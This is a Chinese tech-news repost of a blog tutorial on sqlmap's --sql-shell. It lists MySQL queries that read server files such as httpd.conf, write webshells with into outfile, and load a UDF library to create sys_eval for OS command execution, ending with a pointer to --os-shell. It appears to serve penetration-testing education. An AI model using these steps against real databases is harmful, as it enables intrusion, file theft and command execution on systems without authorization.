返回顶部
首页 > 资讯 > 数据库 >sqlmap中的--sql-shell
  • 109
分享到

sqlmap中的--sql-shell

sql数据库mysql 2023-08-17 15:08:07 109人浏览 八月长安
摘要

文章目录 命令文件路径查看版本读写文件常见的找绝对路径方法:查看php是否开启魔术引导 udf下一步使用sqlmap --os-shell参考 命令 sqlmap -u --sql-shell 之后就和sql中的命令一样 文

命令

sqlmap -u --sql-shell

之后就和sql中的命令一样

文件路径

select @@datadir;

查看版本

select @@version;

读写文件

常见的找绝对路径方法:

网页报错信息
PHPinfo、探针
数据库查询、暴力破解
参看:常用的绝对路径收集

查看php是否开启魔术引导

测试方法:
特殊字符测试是否转义成反斜杠
探针、phpinfo等

Mysql写shell的条件
1、网站可访问路径的绝对路径
2、secure_file_priv 的值非NULL或包含了导出的绝对路径
secure_file_priv的值在mysql配置文件my.ini中设置,这个参数用来限制数据导入导出
Mysql>=5.5.53 默认为NULL,即默认禁止导入导出
Mysql<5.5.53 默认为空,即默认无限制
3、mysql服务有对网站可访问路径的写权限
4、mysql连接用户有FILE权限/ROOT用户或ROOT权限
5、GPC关闭//未对闭合用的引号转义
outfile 和 dumpfile的路径不支持hex,必须有引号包裹

# 高版本只允许操作secure_file_priv变量指定目录下的文件select @@secure_file_priv;# 写文件  # into dumpfile用于二进制文件,select unhex('hexcode') into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so'; # into outfile 主要的目的是导出 文本文件select '123' into outfile  /var/www/1.html;#读文件select load_file('/etc/Httpd/conf/httpd.conf');# 有的时候读取很慢 ,可以不读整个文件 下面先以DocumentRoot分割,获取查找第3个左边的部分substring(substring_index(substring_index(load_file('/etc/httpd/conf/httpd.conf'),'DocumentRoot',3),'DocumentRoot',-1),1,20);

udf

#找到现有的自定义函数select * from mysql.func;#  MySQL 5.0.67 开始udf需要在指定路径下select @@plugin_dir;#导入udf库文件select unhex('hexcode') into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so';#创建自定义函数create function sys_eval returns string soname 'mysqludf.so';# 执行自定义函数select sys_eval('whoami');

下一步使用sqlmap --os-shell

可以执行命令
下图是网站的绝对路径
在这里插入图片描述

参考

安全渗透测试–sql注入之sql-shell

来源地址:https://blog.csdn.net/qq_45751902/article/details/127517553

您可能感兴趣的文档:

--结束END--

本文标题: sqlmap中的--sql-shell

本文链接: https://lsjlt.com/news/373007.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • sqlmap中的--sql-shell
    文章目录 命令文件路径查看版本读写文件常见的找绝对路径方法:查看php是否开启魔术引导 udf下一步使用sqlmap --os-shell参考 命令 sqlmap -u --sql-shell 之后就和sql中的命令一样 文...
    99+
    2023-08-17
    sql 数据库 mysql
  • sqlmap的--os-shell
    一、常用语法 sqlmap -u 注入点 --os-shell 二、原理 前提条件 1、sqlmap要提供的信息 (1)、已知网站的编程语言:PHP、JSP、ASP、ASPX; (2)、已知网站的物理路径; 2、mysql...
    99+
    2023-09-06
    php 开发语言 web安全 sql Powered by 金山文档
  • sqlmap之os shell怎么使用
    这篇文章主要介绍“sqlmap之os shell怎么使用”,在日常操作中,相信很多人在sqlmap之os shell怎么使用问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”sqlmap之os...
    99+
    2023-07-05
  • sqlmap之os shell图文详细解析
    目录0x00 Background0x01 Environment[0x02 Attack demo(1)环境测试(2)攻击(3)选择语言(4)输入绝对路径(5)建立os-shell并执行命...
    99+
    2023-03-02
    sqlmap os shell sqlmap os-shell sqlmap命令详解
  • sqlmap之os shell图文详细解析
    目录0x00 Background0x01 Environment[0x02 Attack demo(1)环境测试(2)攻击(3)选择语言(4)输入绝对...
    99+
    2023-03-02
    sqlmap os shell sqlmap os-shell sqlmap命令详解
  • SQL注入之sqlmap入门学习
    目录一、判断是否存在注入点二、查询当前用户下所有数据库三、获取数据库中的表名四、获取表中的字段名五、获取字段内容六、获取数据库的所有用户七、获取数据库用户的密码八、获取当前网站数据库的名称九、获取当前网站数据库的用户名称...
    99+
    2023-05-12
    sqlmap入门 sqlmap注入
  • python3中SQLMap如何安装
    本篇内容介绍了“python3中SQLMap如何安装”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!注意:在python3环境下安装sqlma...
    99+
    2023-07-05
  • sqlmap的成熟使用方法
    # 爆一下数据库名称 sqlmap -u "http://192.168.22.129/index.phpr=vul&keyword=1" -p keyword --dbs或 sqlmap -u "http://192.168.22.129...
    99+
    2023-09-12
    php 数据库 服务器
  • SQLmap 扫描工具的使用
    一、SQLMap拖库: SQLMap可以完成注入点的发现,数据库类型的确认,WebShell权限和路径的确认,拖库等一系列功能。测试的Payload共分为5级:Level 1 ~ Level 5,Level 1属于基础级,Payload相对...
    99+
    2023-08-31
    数据库 php mysql
  • 如何编写SQLMap的Tamper脚本
    本篇内容介绍了“如何编写SQLMap的Tamper脚本”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!测试环境最新版某狗测试方法安全狗其实是比...
    99+
    2023-07-05
  • shell中循环调用hive sql 脚本的方法
    脚本tt.sh的内容如下: #!/bin/bash params=$1 for param in $params do eceqQgxvIqOHho $param done 运行方式为:sh tt.sh "...
    99+
    2022-06-04
    shell 循环调用 hive sql
  • 教你编写SQLMap的Tamper脚本过狗
    目录测试环境最新版某狗测试方法bypassandorder byunion select加个换行试试获取表字段编写tamper测试环境 最新版某狗 测试方法 安全狗其实是比较好绕的WAF,绕过方...
    99+
    2023-02-24
    SQLMap的Tamper脚本 SQLMap过狗脚本 SQLMap Tamper
  • Shell脚本中怎么执行sql语句
    本篇文章为大家展示了Shell脚本中怎么执行sql语句,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。1、将SQL语句直接嵌入到shell脚本文件中代码如下:--演示环境  [root@SZ...
    99+
    2023-06-09
  • shell脚本中如何执行sql文件
    在shell脚本中执行sql文件,可以使用以下命令: mysql -u 用户名 -p密码 数据库名 < 文件名.sql 其中...
    99+
    2024-04-09
    shell sql
  • 学习的点点滴滴shell+sql
    无意义的脚本,大神勿喷/[root@test Desktop]# vim oraclesh.sh  #!/bin/bash clear #函数 test_parame...
    99+
    2024-04-02
  • 如何在shell中循环调用hive sql 脚本
    本篇文章给大家分享的是有关如何在shell中循环调用hive sql 脚本,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。脚本tt.sh的内容如下:#!/bin/bashpara...
    99+
    2023-06-09
  • MySQL的sql语句取shell程序中的for in多变量一例
    #!/bin/bash a=(`cat time.txt`) b=(`cat sum.txt`) for (( i = 0; i < 38; i++)) do /bin/mysql -u test -...
    99+
    2024-04-02
  • Shell脚本中执行sql语句操作mysql的5种方法
    对于自动化运维,诸如备份恢复之类的,DBA经常需要将SQL语句封装到shell脚本。本文描述了在Linux环境下mysql数据库中,shell脚本下调用sql语句的几种方法,供大家参考。对于脚本输出的结果美...
    99+
    2022-06-04
    种方法 语句 脚本
  • 怎么用shell获取sql执行的结果
    你可以使用shell脚本来执行SQL查询,并将结果保存到变量中。下面是一个示例: #!/bin/bash # 运行SQL查询 re...
    99+
    2023-10-24
    shell sql
  • shell如何获得sql返回值
    在shell中运行SQL语句并获取返回值,可以使用以下方法:1. 使用命令行界面工具(如mysql、psql等)执行SQL语句,并将...
    99+
    2023-09-14
    shell sql
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作